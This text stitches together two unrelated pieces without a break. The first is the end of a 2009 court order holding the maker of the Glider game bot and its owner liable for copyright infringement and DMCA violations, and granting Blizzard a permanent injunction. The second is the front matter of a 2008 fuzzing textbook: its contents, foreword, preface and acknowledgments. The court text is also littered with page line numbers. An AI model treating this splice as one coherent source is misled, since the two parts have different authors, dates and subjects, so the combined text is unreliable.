Murphy Tugboat Co. v. Shipowners & Merchants Towboat Co., 467 F. Supp. 841 (N.D. Cal. 1979), for the proposition that personal liability should be limited to cases where the defendant engaged in “inherently wrongful conduct.” See id. at 853. Murphy involved the application of the Sherman Antitrust Act. Personal liability was limited because “‘the behavior 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 5Donnelly’s counsel at trial also cited Wechsler v. Macke International Trade, Inc., 486 F.3d 1286, 1292 (Fed. Cir. 2007), and Hoover Group, Inc. v. Custom Metalcraft, Inc., 84 F.3d 1408, 1411 (Fed. Cir. 1996), for the proposition that officers are personally liable for a corporation’s patent infringement only if they act culpably. Donnelly has provided no case applying this rule to copyright law. - 17 - proscribed by the Act is often difficult to distinguish from the gray zone of socially acceptable and economically justifiable business conduct.’” Id. (citation omitted). The Court has found no case applying Murphy outside the context of antitrust, and Donnelly has cited no case applying it to copyright law.5 Generally, liability for copyright infringement does not require knowledge of wrongdoing on the part of the infringer. The Copyright Act permits an award of damages even where “the infringer was not aware and had no reason to believe that his or her acts constituted infringement of copyright[.]” 17 U.S.C. § 504(c)(2); see also Coogan, 2005 WL 2789311, at *4 (noting that damages may be increased for willful infringement and stating that a finding of willfulness “does not require that a defendant act with the ‘specific intent’ to violate the copyright protection”). Similarly, courts hold that vicarious liability – even of corporate officers – does not require knowledge that the conduct is infringing. See MGM Studios, Inc. v. Grokster, Ltd., 545 U.S. 913, 930 n.9 (2005) (vicarious liability may be imposed “even if the defendant initially lacks knowledge of the infringement”); Fonovisa, Inc. v. Cherry Auction, Inc., 76 F.3d 259, 262 (9th Cir. 1996) (vicarious liability may be imposed “even though the defendant was unaware of the infringement”) (citation omitted); S. Bell Tel. & Tel. Co. v. Associated Tel. Directory Publishers, 756 F.2d 801, 811 (11th Cir. 1985) (“[The corporate officers] all had a financial interest in the infringing activity and the right to supervise [the infringer’s] activities. Liability falls on all of them even if they were ignorant of the infringement.”); Novell, Inc. v. Unicom Sales, Inc., No. C-03-2785 MMC, 2004 WL 1839117, at *17 (N.D. Cal. Aug. 17, 2004) (in determining the liability of corporate officers “it is immaterial whether such individuals are aware that their acts will result in infringement”); Foreverendeavor Music, Inc. v. S.M.B., Inc., 701 F. Supp. 791, 793 (W.D. Wash. 1988) (corporate officer’s doubts about the plaintiff’s right to enforce copyright 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 18 - laws “[did] not absolve him from liability for infringing copyrights”). Donnelly’s argues, with some persuasive force, that he should not be held personally liable when he could not reasonably be expected to know that the Ninth Circuit applied copyright law to the copying of software into RAM. But copyright law is clear, as shown by the cases cited above. Knowledge is not required. The Supreme Court has noted that vicarious liability “allows imposition of liability when the defendant profits directly from the infringement and has a right and ability to supervise the direct infringer, even if the defendant initially lacks knowledge of the infringement.” MGM Studios, 545 U.S. at 930 n.9. In support of this statement, the Supreme Court cited Shapiro, Bernstein & Co. v. H.L. Green Co., 316 F.2d 304, 308 (2d Cir. 1963), a case which provides this helpful explanation of the strict-liability policy of copyright law: [T]he cases are legion which hold the dance hall proprietor liable for the infringement of copyright resulting from the performance of a musical composition by a band or orchestra whose activities provide the proprietor with a source of customers and enhanced income. He is liable whether the bandleader is considered, as a technical matter, an employee or an independent contractor, and whether or not the proprietor has knowledge of the compositions to be played or any control over their selection. We believe that the principle which can be extracted from the dance hall cases is a sound one . . . . Green licensed one facet of its variegated business enterprise, for some thirteen years, to the Jalen Amusement Company. Green retained the ultimate right of supervision over the conduct of the record concession and its employees. By reserving for itself a proportionate share of the gross receipts from Jalen’s sales of phonograph records, Green had a most definite financial interest in the success of Jalen's concession; 10% or 12% of the sales price of every record sold by Jalen, whether “bootleg” or legitimate, found its way – both literally and figuratively – into the coffers of the Green Company. We therefore conclude . . . that Green's relationship to its infringing licensee, as well as its strong concern for the financial success of the phonograph record concession, renders it liable for the unauthorized sales of the “bootleg” records. The imposition of liability upon the Green Company, even in the absence of an intention to infringe or knowledge of infringement, is not unusual. As one observer has noted, “Although copyright infringements are quite generally termed piracy, only a minority of infringers fly the Jolly Roger.” While there have been some complaints concerning the harshness of the principle of strict liability in copyright law, courts have consistently refused to honor the defense of absence of knowledge or intention. The reasons have been variously stated. “The protection accorded literary property would be of little value if . . . insulation from payment of damages could be secured . . . by merely refraining from making inquiry.” “It is the innocent infringer who must suffer, since he, unlike the copyright owner, either has an opportunity to guard against the infringement (by diligent inquiry), or at least 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 19 - the ability to guard against the infringement (by an indemnity agreement . . . and/or by insurance).” Shapiro, 316 F.2d at 307-08 (citations omitted); see Fonvisa, 76 F.3d at 261-64 (following Shapiro and referring to it as the “landmark case” on vicarious liability for copyright infringement). Donnelly clearly supervised the infringing and circumventing activities of MDY and profited personally from their success. Applying this well-established law, Donnelly is liable for MDY’s vicarious copyright infringement, contributory copyright infringement, and DMCA violations. IV. Permanent Injunction. Under 17 U.S.C. § 502(a), this Court “is empowered to grant a permanent injunction ‘as it may deem reasonable to prevent or restrain infringement of a copyright.’” MGM Studios, Inc. v. Grokster, Ltd., 518 F. Supp. 2d 1197, 1208 (C.D. Cal. 2007). To obtain a permanent injunction under section 502(a), Blizzard must satisfy a four-part test: “(1) that it has suffered an irreparable injury; (2) that remedies available at law, such as monetary damages, are not adequate to compensate for that injury; (3) that, considering the balance of hardships between the plaintiff and defendant, a remedy in equity is warranted; and (4) that the public interest would not be disserved by a permanent injunction.” eBay Inc. v. MercExchange, L.L.C., 547 U.S. 388, 391-92 (2006). Citing MAI Systems Corp. v. Peak Computer, Inc., 991 F.2d 511, 520 (9th Cir. 1993), Blizzard asserts that courts have routinely granted permanent injunctions when liability has been established and there is a threat of continuing violations. Dkt. #97 at 6. The Court agrees with other district courts that MAI’s two-part rule did not survive eBay. “MAI should only be relevant to the extent it informs the eBay analysis.” Grokster, 518 F. Supp. 2d at 1209-10; see Designer Skin, LLC v. S & L Vitamins, Inc., No. CV 05-3699-PHX-JAT, 2008 WL 4174882, at *3 (D. Ariz. Sept. 5, 2008). Blizzard further asserts that courts in copyright cases traditionally have held that irreparable harm is presumed. Dkt. #97 at 6. After eBay, however, the presumption of 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 20 - irreparable harm no longer inures to the benefit of plaintiffs. “The eBay Court plainly stated that [p]laintiffs ‘must demonstrate’ the presence of the traditional factors, and therefore have the burden of proof with regard to irreparable harm.” Grokster, 518 F. Supp. 2d at 1211; see Designer Skin, 2008 WL 4174882, at *4 (citing eBay, 547 U.S. at 391); Magna-RX, Inc. v. Holley, No. CV 05-3545-PHX-EHC, 2008 WL 5068977, at *4 (D. Ariz. Nov. 25, 2008). The Court will consider whether Blizzard has satisfied the four-part test for a permanent injunction. A. Irreparable Injury. Blizzard has established irreparable injury. Blizzard can calculate the amount of money it spends annually to detect and eliminate bots from its game, but Blizzard cannot determine the extent of damage caused by Glider to Blizzard’s reputation and customer goodwill. As noted above, Blizzard received 500,000 customer complaints regarding bots in WoW between December of 2004 and March of 2008. The use of Glider gives a player an unfair advantage over other players and imbalances the in-game economy. The damage to Blizzard’s reputation and customer goodwill constitutes irreparable harm. See Rent-A- Center, Inc. v. Canyon Television & Appliance Rental, Inc., 944 F.2d 597, 603 (9th Cir. 1991) (“[I]ntangible injuries, such as damage to ongoing recruitment efforts and goodwill, qualify as irreparable harm.”); MySpace, Inc. v. Wallace, 498 F.Supp.2d 1293, 1305 (C.D. Cal. 2007) (“Harm to business goodwill and reputation is unquantifiable and considered irreparable.”). B. Remedies at Law. This factor is closely related to the first. Because the damage to Blizzard’s goodwill and the loss of its customers caused by Glider cannot be calculated with any certainty, traditional legal remedies such as monetary damages are inadequate to redress Blizzard’s harm. C. Balance of Hardships. On one hand, failure to enjoin the sale of Glider will result in a continuation of Blizzard’s injuries. On the other hand, enjoining the sale of Glider will put MDY out of 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 21 - business and eliminate a significant source of income for Donnelly. MDY and Donnelly argue that their hardship would be greater and urge the Court to deny a permanent injunction. In the preliminary injunction context, the Ninth Circuit has noted that “[w]here the only hardship that the defendant will suffer is lost profits from an activity which has been shown likely to be infringing, such an argument in defense ‘merits little equitable consideration[.]’” Triad Sys. Corp. v. Se. Express Co., 64 F.3d 1330, 1338 (9th Cir. 1995) (citation omitted). Where, as here, the conduct has been shown to be both tortious and infringing, this principle applies with even greater force. An injunction may force the closure of MDY’s business, but that business is based on contributory and vicarious copyright infringement. The hardship factor favors an injunction. D. Public Interest. Congress has determined that the public interest is served by protecting the creative works of those who obtain copyright protection. Congress has concluded in the DMCA that the public interest disfavors those who circumvent technological measures designed to protect creative works. Although the public interest also favors creativity and open competition, MDY is not a competitor of Blizzard. MDY does not offer a competing computer game. Rather, MDY persuades Blizzard customers to violate their contract with Blizzard for MDY’s financial advantage. The public interest may favor full and honest competition, but MDY ultimately is an exploiter, not a competitor. E. Conclusion. The Court finds that all four requirements for a permanent injunction are satisfied. The Court will enter a permanent injunction against the continued sale, distribution, and servicing of Glider. V. Stay of the Injunction. MDY and Donnelly argue that the Court’s decision may be reversed on appeal and that MDY should not be put out of business while the appeal is pending. Donnelly testified that even twelve months of injunction would put MDY out of business forever. The Court recognizes that MDY and Donnelly will ask the Ninth Circuit to overturn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 22 - the RAM-copying and ownership holdings of MAI Systems Corp. v. Peak Computer, Inc., 991 F.2d 511 (9th Cir. 1993). The Court also recognizes that reasonable minds can disagree on whether these holdings are correct. Because the parties have not briefed the stay of a permanent injunction, the Court will require the parties to file memoranda addressing that issue. The Court will not enter the permanent injunction until it has decided whether the injunction should be stayed pending appeal. IT IS ORDERED: 1. MDY is liable to Blizzard for violations of 17 U.S.C. §§ 1201(a)(2) and 1201(b)(1) with respect to the dynamic nonliteral elements of WoW. 2. Michael Donnelly is liable to Blizzard for damages arising from MDY’s tortious interference with contract from November 30, 2005, to the present. 3. Michael Donnelly is liable to Blizzard for damages arising from MDY’s contributory infringement, vicarious infringement, and DMCA violations. 4. Blizzard is entitled to a permanent injunction against the continued sale, distribution, and servicing of Glider. 5. On or before February 13, 2009, the parties shall submit memoranda, not to exceed seven pages in length, addressing (1) the appropriate terms of any permanent injunction, (2) whether the permanent injunction should be stayed pending appeal, and (3) what bond or other measures – for stay of the injunction and for damages – should be imposed for Blizzard’s protection pending appeal. DATED this 28th day of January, 2009.
pdf
Fuzzing for Software Security Testing and Quality Assurance For a list of related Artech House titles, please turn to the back of this book. Fuzzing for Software Security Testing and Quality Assurance Ari Takanen Jared DeMott Charlie Miller artechhouse.com Library of Congress Cataloging-in-Publication Data A catalog record for this book is available from the U.S. Library of Congress. British Library Cataloguing in Publication Data A catalogue record for this book is available from the British Library. ISBN 13: 978-1-59693-214-2 Cover design by Igor Valdman © 2008 ARTECH HOUSE, INC. 685 Canton Street Norwood, MA 02062 All rights reserved. Printed and bound in the United States of America. No part of this book may be reproduced or utilized in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage and retrieval system, without permission in writing from the publisher. All terms mentioned in this book that are known to be trademarks or service marks have been appropriately capitalized. Artech House cannot attest to the accuracy of this information. Use of a term in this book should not be regarded as affecting the validity of any trademark or service mark. 10 9 8 7 6 5 4 3 2 1 This book is dedicated to our families and friends . . . . . . and also to all quality assurance specialists and security experts who are willing to share their knowledge and expertise to enable others to learn and improve their skills. Contents Foreword xv Preface xix Acknowledgments xxi CHAPTER 1 Introduction 1 1.1 Software Security 2 1.1.1 Security Incident 4 1.1.2 Disclosure Processes 5 1.1.3 Attack Surfaces and Attack Vectors 6 1.1.4 Reasons Behind Security Mistakes 9 1.1.5 Proactive Security 10 1.1.6 Security Requirements 12 1.2 Software Quality 13 1.2.1 Cost-Benefit of Quality 14 1.2.2 Target of Test 16 1.2.3 Testing Purposes 17 1.2.4 Structural Testing 19 1.2.5 Functional Testing 21 1.2.6 Code Auditing 21 1.3 Fuzzing 22 1.3.1 Brief History of Fuzzing 22 1.3.2 Fuzzing Overview 24 1.3.3 Vulnerabilities Found with Fuzzing 25 1.3.4 Fuzzer Types 26 1.3.5 Logical Structure of a Fuzzer 29 1.3.6 Fuzzing Process 30 1.3.7 Fuzzing Frameworks and Test Suites 31 1.3.8 Fuzzing and the Enterprise 32 1.4 Book Goals and Layout 33 CHAPTER 2 Software Vulnerability Analysis 35 2.1 Purpose of Vulnerability Analysis 36 2.1.1 Security and Vulnerability Scanners 36 vii 2.2 People Conducting Vulnerability Analysis 38 2.2.1 Hackers 40 2.2.2 Vulnerability Analysts or Security Researchers 40 2.2.3 Penetration Testers 41 2.2.4 Software Security Testers 41 2.2.5 IT Security 41 2.3 Target Software 42 2.4 Basic Bug Categories 42 2.4.1 Memory Corruption Errors 42 2.4.2 Web Applications 50 2.4.3 Brute Force Login 52 2.4.4 Race Conditions 53 2.4.5 Denials of Service 53 2.4.6 Session Hijacking 54 2.4.7 Man in the Middle 54 2.4.8 Cryptographic Attacks 54 2.5 Bug Hunting Techniques 55 2.5.1 Reverse Engineering 55 2.5.2 Source Code Auditing 57 2.6 Fuzzing 59 2.6.1 Basic Terms 59 2.6.2 Hostile Data 60 2.6.3 Number of Tests 62 2.7 Defenses 63 2.7.1 Why Fuzzing Works 63 2.7.2 Defensive Coding 63 2.7.3 Input Verification 64 2.7.4 Hardware Overflow Protection 65 2.7.5 Software Overflow Protection 66 2.8 Summary 68 CHAPTER 3 Quality Assurance and Testing 71 3.1 Quality Assurance and Security 71 3.1.1 Security in Software Development 72 3.1.2 Security Defects 73 3.2 Measuring Quality 73 3.2.1 Quality Is About Validation of Features 73 3.2.2 Quality Is About Finding Defects 76 3.2.3 Quality Is a Feedback Loop to Development 76 3.2.4 Quality Brings Visibility to the Development Process 77 3.2.5 End Users’ Perspective 77 3.3 Testing for Quality 77 3.3.1 V-Model 78 3.3.2 Testing on the Developer’s Desktop 79 3.3.3 Testing the Design 79 viii Contents 3.4 Main Categories of Testing 79 3.4.1 Validation Testing Versus Defect Testing 79 3.4.2 Structural Versus Functional Testing 80 3.5 White-Box Testing 80 3.5.1 Making the Code Readable 80 3.5.2 Inspections and Reviews 80 3.5.3 Code Auditing 81 3.6 Black-Box Testing 83 3.6.1 Software Interfaces 84 3.6.2 Test Targets 84 3.6.3 Fuzz Testing as a Profession 84 3.7 Purposes of Black-Box Testing 86 3.7.1 Conformance Testing 87 3.7.2 Interoperability Testing 87 3.7.3 Performance Testing 87 3.7.4 Robustness Testing 88 3.8 Testing Metrics 88 3.8.1 Specification Coverage 88 3.8.2 Input Space Coverage 89 3.8.3 Interface Coverage 89 3.8.4 Code Coverage 89 3.9 Black-Box Testing Techniques for Security 89 3.9.1 Load Testing 89 3.9.2 Stress Testing 90 3.9.3 Security Scanners 90 3.9.4 Unit Testing 90 3.9.5 Fault Injection 90 3.9.6 Syntax Testing 91 3.9.7 Negative Testing 94 3.9.8 Regression Testing 95 3.10 Summary 96 CHAPTER 4 Fuzzing Metrics 99 4.1 Threat Analysis and Risk-Based Testing 103 4.1.1 Threat Trees 104 4.1.2 Threat Databases 105 4.1.3 Ad-Hoc Threat Analysis 106 4.2 Transition to Proactive Security 107 4.2.1 Cost of Discovery 108 4.2.2 Cost of Remediation 115 4.2.3 Cost of Security Compromises 116 4.2.4 Cost of Patch Deployment 117 4.3 Defect Metrics and Security 120 4.3.1 Coverage of Previous Vulnerabilities 121 4.3.2 Expected Defect Count Metrics 124 Contents ix 4.3.3 Vulnerability Risk Metrics 125 4.3.4 Interface Coverage Metrics 127 4.3.5 Input Space Coverage Metrics 127 4.3.6 Code Coverage Metrics 130 4.3.7 Process Metrics 133 4.4 Test Automation for Security 133 4.5 Summary 134 CHAPTER 5 Building and Classifying Fuzzers 137 5.1 Fuzzing Methods 137 5.1.1 Paradigm Split: Random or Deterministic Fuzzing 138 5.1.2 Source of Fuzz Data 140 5.1.3 Fuzzing Vectors 141 5.1.4 Intelligent Fuzzing 142 5.1.5 Intelligent Versus Dumb (Nonintelligent) Fuzzers 144 5.1.6 White-Box, Black-Box, and Gray-Box Fuzzing 144 5.2 Detailed View of Fuzzer Types 145 5.2.1 Single-Use Fuzzers 145 5.2.2 Fuzzing Libraries: Frameworks 146 5.2.3 Protocol-Specific Fuzzers 148 5.2.4 Generic Fuzzers 149 5.2.5 Capture-Replay 150 5.2.6 Next-Generation Fuzzing Frameworks: Sulley 159 5.2.7 In-Memory Fuzzing 161 5.3 Fuzzer Classification via Interface 162 5.3.1 Local Program 162 5.3.2 Network Interfaces 162 5.3.3 Files 163 5.3.4 APIs 164 5.3.5 Web Fuzzing 164 5.3.6 Client-Side Fuzzers 164 5.3.7 Layer 2 Through 7 Fuzzing 165 5.4 Summary 166 CHAPTER 6 Target Monitoring 167 6.1 What Can Go Wrong and What Does It Look Like? 167 6.1.1 Denial of Service (DoS) 167 6.1.2 File System–Related Problems 168 6.1.3 Metadata Injection Vulnerabilities 168 6.1.4 Memory-Related Vulnerabilities 169 6.2 Methods of Monitoring 170 6.2.1 Valid Case Instrumentation 170 6.2.2 System Monitoring 171 x Contents 6.2.3 Remote Monitoring 175 6.2.4 Commercial Fuzzer Monitoring Solutions 176 6.2.5 Application Monitoring 176 6.3 Advanced Methods 180 6.3.1 Library Interception 180 6.3.2 Binary Simulation 181 6.3.3 Source Code Transformation 183 6.3.4 Virtualization 183 6.4 Monitoring Overview 184 6.5 A Test Program 184 6.5.1 The Program 184 6.5.2 Test Cases 185 6.5.3 Guard Malloc 187 6.5.4 Valgrind 188 6.5.5 Insure++ 189 6.6 Case Study: PCRE 190 6.6.1 Guard Malloc 192 6.6.2 Valgrind 193 6.6.3 Insure++ 194 6.7 Summary 195 CHAPTER 7 Advanced Fuzzing 197 7.1 Automatic Protocol Discovery 197 7.2 Using Code Coverage Information 198 7.3 Symbolic Execution 199 7.4 Evolutionary Fuzzing 201 7.4.1 Evolutionary Testing 201 7.4.2 ET Fitness Function 201 7.4.3 ET Flat Landscape 202 7.4.4 ET Deceptive Landscape 202 7.4.5 ET Breeding 203 7.4.6 Motivation for an Evolutionary Fuzzing System 203 7.4.7 EFS: Novelty 204 7.4.8 EFS Overview 204 7.4.9 GPF + PaiMei + Jpgraph = EFS 206 7.4.10 EFS Data Structures 206 7.4.11 EFS Initialization 207 7.4.12 Session Crossover 207 7.4.13 Session Mutation 208 7.4.14 Pool Crossover 209 7.4.15 Pool Mutation 210 7.4.16 Running EFS 211 7.4.17 Benchmarking 215 7.4.18 Test Case—Golden FTP Server 215 Contents xi 7.4.19 Results 215 7.4.20 Conclusions and Future Work 219 7.5 Summary 219 CHAPTER 8 Fuzzer Comparison 221 8.1 Fuzzing Life Cycle 221 8.1.1 Identifying Interfaces 221 8.1.2 Input Generation 222 8.1.3 Sending Inputs to the Target 222 8.1.4 Target Monitoring 223 8.1.5 Exception Analysis 223 8.1.6 Reporting 223 8.2 Evaluating Fuzzers 224 8.2.1 Retrospective Testing 224 8.2.2 Simulated Vulnerability Discovery 225 8.2.3 Code Coverage 225 8.2.4 Caveats 226 8.3 Introducing the Fuzzers 226 8.3.1 GPF 226 8.3.2 Taof 227 8.3.3 ProxyFuzz 227 8.3.4 Mu-4000 228 8.3.5 Codenomicon 228 8.3.6 beSTORM 228 8.3.7 Application-Specific Fuzzers 229 8.3.8 What’s Missing 229 8.4 The Targets 229 8.5 The Bugs 230 8.5.1 FTP Bug 0 230 8.5.2 FTP Bugs 2, 16 230 8.6 Results 231 8.6.1 FTP 232 8.6.2 SNMP 233 8.6.3 DNS 233 8.7 A Closer Look at the Results 234 8.7.1 FTP 234 8.7.2 SNMP 237 8.7.3 DNS 240 8.8 General Conclusions 242 8.8.1 The More Fuzzers, the Better 242 8.8.2 Generational-Based Approach Is Superior 242 8.8.3 Initial Test Cases Matter 242 8.8.4 Protocol Knowledge 243 8.8.5 Real Bugs 244 8.8.6 Does Code Coverage Predict Bug Finding? 244 xii Contents 8.8.7 How Long to Run Fuzzers with Random Elements 246 8.8.8 Random Fuzzers Find Easy Bugs First 247 8.9 Summary 247 CHAPTER 9 Fuzzing Case Studies 249 9.1 Enterprise Fuzzing 250 9.1.1 Firewall Fuzzing 251 9.1.2 VPN Fuzzing 253 9.2 Carrier and Service Provider Fuzzing 255 9.2.1 VoIP Fuzzing 256 9.2.2 WiFi Fuzzing 257 9.3 Application Developer Fuzzing 259 9.3.1 Command-Line Application Fuzzing 259 9.3.2 File Fuzzing 259 9.3.3 Web Application Fuzzing 261 9.3.4 Browser Fuzzing 262 9.4 Network Equipment Manufacturer Fuzzing 263 9.4.1 Network Switch Fuzzing 263 9.4.2 Mobile Phone Fuzzing 264 9.5 Industrial Automation Fuzzing 265 9.6 Black-Box Fuzzing for Security Researchers 267 9.6.1 Select Target 268 9.6.2 Enumerate Interfaces 268 9.6.3 Choose Fuzzer/Fuzzer Type 269 9.6.4 Choose a Monitoring Tool 270 9.6.5 Carry Out the Fuzzing 271 9.6.6 Post-Fuzzing Analysis 272 9.7 Summary 273 About the Authors 275 Bibliography 277 Index 279 Contents xiii Foreword It was a dark and stormy night. Really. Sitting in my apartment in Madison in the Fall of 1988, there was a wild mid- west thunderstorm pouring rain and lighting up the late night sky. That night, I was logged on to the Unix systems in my office via a dial-up phone line over a 1200 baud modem. With the heavy rain, there was noise on the line and that noise was inter- fering with my ability to type sensible commands to the shell and programs that I was running. It was a race to type an input line before the noise overwhelmed the command. This fighting with the noisy phone line was not surprising. What did surprise me was the fact that the noise seemed to be causing programs to crash. And more surprising to me was the programs that were crashing—common Unix utilities that we all use everyday. The scientist in me said that we need to make a systematic investigation to try to understand the extent of the problem and the cause. That semester, I was teaching the graduate Advanced Operating Systems course at the University of Wisconsin. Each semester in this course, we hand out a list of suggested topics for the students to explore for their course project. I added this testing project to the list. In the process of writing the description, I needed to give this kind of testing a name. I wanted a name that would evoke the feeling of random, unstructured data. After trying out several ideas, I settled on the term “fuzz.” Three groups attempted the fuzz project that semester and two failed to achieve any crash results. Lars Fredriksen and Bryan So formed the third group, and were more talented programmers and most careful experiments; they succeeded well beyond my expectations. As reported in the first fuzz paper [cite], they could crash or hang between 25–33% of the utility programs on the seven Unix variants that they tested. However, the fuzz testing project was more than a quick way to find program failures. Finding the cause of each failure and categorizing these failures gave the results deeper meaning and more lasting impact. The source code for the tools and scripts, the raw test results, and the suggested bug fixes were all made public. Trust and repeatability were crucial underlying principles for this work. In the following years, we repeated these tests on more and varied Unix sys- tems for a larger set of command-line utility programs and expanded our testing to GUI programs based on the then-new X-window system [cite fuzz 1995]. Windows followed several years later [cite fuzz 2000] and, most recently, MacOS [cite fuzz 2006]. In each case, over the span of the years, we found a lot of bugs and, in each case, we diagnosed those bugs and published all of our results. xv xvi Foreword In our more recent research, as we have expanded to more GUI-based applica- tion testing, we discovered that classic 1983 testing tool, “The Monkey” used on the earlier Macintosh computers [cite Hertzfeld book]. Clearly a group ahead of their time. In the process of writing our early fuzz papers, we came across strong resist- ance from the testing and software engineering community. The lack of a formal model and methodology and undisciplined approach to testing often offended experienced practioners in the field. In fact, I still frequently come across hostile attitudes to this type of “stone axes and bear skins” (my apologies to Mr. Spock) approach to testing. My response was always simple: “We’re just trying to find bugs.” As I have said many times, fuzz testing is not meant to supplant more systematic testing. It is just one more tool, albeit, and an extremely easy one to use, in the tester’s toolkit. As an aside, note that the fuzz testing has not ever been a funded research effort for me; it is a research advocation rather than a vocation. All the hard work has been done by a series of talented and motivated graduate students in our Computer Sci- ences Department. This is how we have fun. Fuzz testing has grown into a major subfield of research and engineering, with new results taking it far beyond our simple and initial work. As reliability is the foundation of security, so has it become a crucial tool in security evaluation of soft- ware. Thus, the topic of this book is both timely and extremely important. Every practitioner who aspires to write safe and secure software needs to add these tech- niques to their bag of tricks. Barton Miller Madison, Wisconsin April 2008 Operating System Utility Program Reliability—The Fuzz Generator The goal of this project is to evaluate the robustness of various Unix utility pro- grams, given an unpredictable input stream. This project has two parts. First, you will build a “fuzz” generator. This is a program that will output a random charac- ter stream. Second, you will take the fuzz generator and use it to attack as many Unix utilities as possible, with the goal of trying to break them. For the utilities that break, you will try to determine what type of input caused the break. The Program The fuzz generator will generate an output stream of random characters. It will need several options to give you flexibility to test different programs. Below is the start for a list of options for features that fuzz will support. It is important when writing this program to use good C and Unix style, and good structure, as we hope to distribute this program to others. –p only the printable ASCII characters –a all ASCII characters –0 include the null (0 byte) character –l generate random length lines (\\n terminated strings) –f name record characters in file “name’’ –d nnn delay nnn seconds following each character –r name replay characters in file “name’’ to output The Testing The fuzz program should be used to test various Unix utilities. These utilities include programs like vi, mail, cc, make, sed, awk, sort, etc. The goal is to first see if the pro- gram will break and second to understand what type of input is responsible for the break. Foreword xvii Preface Still today, most software fails with negative testing, or fuzzing, as it is known by security people. I (Ari) have never seen a piece of software or a network device that passes all fuzz tests thrown at it. Still, things have hopefully improved a bit from 1996 when we started developing our first fuzzers, and at least from the 1970s when Dr. Boris Beizer and his team built their fuzzer-like test automation scripts. The key driver for the change is the adaptation of these tools and techniques, and availabil- ity of the technical details on how this type of testing can be conducted. Fortunately there has been enormous development in the fuzzer market, as can be seen from the wide range of available open source and commercial tools for this test purpose. The idea for this book came up in 2001, around the same time when we com- pleted the PROTOS Classic project on our grammar-based fuzzers. Unfortunately we were distracted by other projects. Back then, as a result of the PROTOS project, we spawned a number of related security “spin-offs.” One of them was the com- mercial company Codenomicon, which took over all technical development from PROTOS Classic, and launched the first commercial fuzzers in early 2002 (those were for SIP, TLS, and GTP protocols if you are interested). Another was the PROTOS Genome project, which started looking at the next steps in fuzzing and automated protocol reverse-engineering, from a completely clean table (first publicly available tests were for various compression formats, released in March 2008). And the third was FRONTIER, which later spun-out a company doing next-gen network analysis tools and was called Clarified Networks. At the same time we kept our focus on fuzzer research and teaching on all areas of secure programming at the University of Oulu. And all this was in a small town of about two hundred thousand people, so you could say that one out of a thousand people were experts in fuzzing in this far-north loca- tion. But, unfortunately, the book just did not fit into our plans at that time. The idea for the book re-emerged in 2005 when I reviewed a paper Jared DeMott wrote for the Blackhat conference. For the first time since all the published and some unpublished works at PROTOS, I saw something new and unique in that paper. I immediately wrote to Jared to propose that he would co-author this fuzzer book proj- ect with me, and later also flew in to discuss with him to get to know him better. We had completely opposite experiences and thoughts on fuzzing, and therefore it felt like a good fit, and so finally this book was started. Fortunately I had a dialog going on with Artech House for some time already, and we got to start the project almost immediately. We wanted everything in the book to be product independent, and also technol- ogy independent. With our combined experiences, this seemed to be natural for the book. But something was still missing. As a last desperate action in our constant strug- gle to get this book completed by end of 2007, we reached out to Charlie Miller. The xix main reason for contacting him was that we wanted to have a completely independ- ent comparison of various fuzzer technologies, and did not want to write that our- selves as both of us had strong opinions in various, conflicting, directions. I, for instance, have always been a strong believer in syntax testing-based negative testing (some call this model-based fuzzing), with no random component to the tests. Jared on the other hand was working on evolutionary fuzzers. Charlie accepted to write a chapter, but later actually got more deeply involved in the project and ended up writ- ing almost one third of the book (Charlie should definitely do more traveling, as he claims he wrote all that in an airplane). Our goal was to write something that would be used as a course book at uni- versities, but also as a useful reference for both quality assurance engineers and security specialists. And I think we succeeded quite well. The problem with other available books was that they were targeted to either security people, or to quality assurance, or on very rare occasions to the management level. But fuzzing is not only about security, as fuzzers are used in many closed environments where there are no security threats. It is also not only about software quality. Fuzzing is a con- vergence of security practices into quality assurance practices, or sometimes the other way around. In all 100+ global customers of Codenomicon fuzzing tools (in late 2007), from all possible industry verticals, the same logic is always apparent in deploying fuzzers: Fuzzing is a team effort between security people and quality assurance people. There are many things that were left out of this edition of the book, but hopefully that will motivate you to buy enough books so that the publisher will give us an opportunity to improve. This book will never be complete. For example in 2007 and early 2008 there were a number of completely new techniques launched around fuzzing. One example is the recent release of the PROTOS Genome. Also, commer- cial companies constantly continue to develop their offerings, such as the rumors of the Wurldtech “Achilles Inside” (whatever that will be), and the launch of the “fifth generation” Codenomicon Defensics 3.0 fuzzing framework, both of which were not covered in this book. Academics and security experts have also released new frame- works and tools. One example that you definitely should check out is the FuzzGuru, available through OWASP. I am also expecting to see something completely different from the number of academics working with fuzzing, such as the techniques devel- oped by the Madynes team in France. We promise to track those projects now and in the future, and update not only this book, but also our web site dedicated to fuzzing-related topics (www.fuzz-test .com.) For that, please contact us with your comments, whether they are positive or negative, and together we will make this a resource that will take software develop- ment a giant leap forward, into an era where software is reliable and dependable. Ari, Jared, and Charlie xx Preface Acknowledgments From Ari Takanen There have been several people who have paved the way toward the writing of this book. First of all, I want to give big hugs and thanks to my home team. My family has been supportive in this project even if it has meant 24-hour workdays away from family activities. Combining a couple of book projects with running a security com- pany, traveling 50% of the year around the globe attending various conferences, and meeting with global customers can take a bit of time from the family. I keep making promises about dedicating more time for the family, but always fail those promises. I am forever grateful to both Marko Laakso and Prof. Juha Röning from Univer- sity of Oulu for showing me how everything is broken in communication technolo- gies. Everything. And showing that there is no silver bullet to fix that. That was really eye-opening. To me, my years as a researcher in the OUSPG enabled me to learn everything there was to learn about communications security. Enormous thanks to all my colleagues at Codenomicon, for taking the OUSPG work even further through commercializing the research results, and for making it possible for me to write this book although it took time from my CTO tasks. Special thanks to Heikki and Rauli. Thank you to everyone who has used either the Code- nomicon robustness testing tools, or the PROTOS test-suites, and especially to every- one who came back to us and told us of their experiences with our tools and performing security testing with them. Although you might not want to say it out loud, you certainly know how broken everything is. Special thanks to Sven Weizeneg- ger who provided valuable insight into how fuzzers are used and deployed in real- life penetration testing 